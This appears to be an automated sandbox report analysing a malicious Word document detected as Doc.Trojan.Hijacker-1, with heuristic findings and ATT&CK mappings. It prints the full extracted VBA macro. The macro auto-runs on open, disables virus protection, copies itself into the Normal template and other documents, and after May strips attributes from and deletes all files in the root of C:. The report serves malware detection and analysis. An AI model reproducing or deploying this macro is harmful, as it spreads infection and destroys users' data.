MALICIOUS
280
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1485 Data Destruction
The sample contains VBA macros, specifically a `document_open` subroutine that is triggered automatically. This macro uses the `Shell()` function to execute `attrib.exe` with parameters to remove read-only, system, and hidden attributes from all files in the root directory, followed by an attempt to `Kill` all files in the root directory. This indicates a data destruction attempt. The ClamAV detection of 'Doc.Trojan.Hijacker-1' further supports the malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Hijacker-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hijacker-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1006 bytes |
SHA-256: 4f0b2e0b921fa133d4370ea3d5adde4a8aeb7d93747ad2781b2a78f984135c8c |
|||
|
Detection
ClamAV:
Doc.Trojan.Hijacker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub document_open()
Options.VirusProtection = (Rnd * 0)
Options.SaveNormalPrompt = (Rnd * 0)
Set iamhere = MacroContainer.VBProject.vbcomponents(1).codemodule
If MacroContainer.FullName = NormalTemplate.FullName Then Set Infect = ActiveDocument.VBProject.vbcomponents(1).codemodule: saveit = 1
If MacroContainer.FullName = ActiveDocument.FullName Then Set Infect = NormalTemplate.VBProject.vbcomponents(1).codemodule
If Infect.countoflines < 1 Then Infect.addfromstring iamhere.lines(1, iamhere.countoflines)
If saveit = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, fileformat:=wddocument
If Month(Now) > 5 Then Shell ("c:\windows\command\attrib.exe c:\*.* -r -s -h"), vbHide: Kill "c:\*.*"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.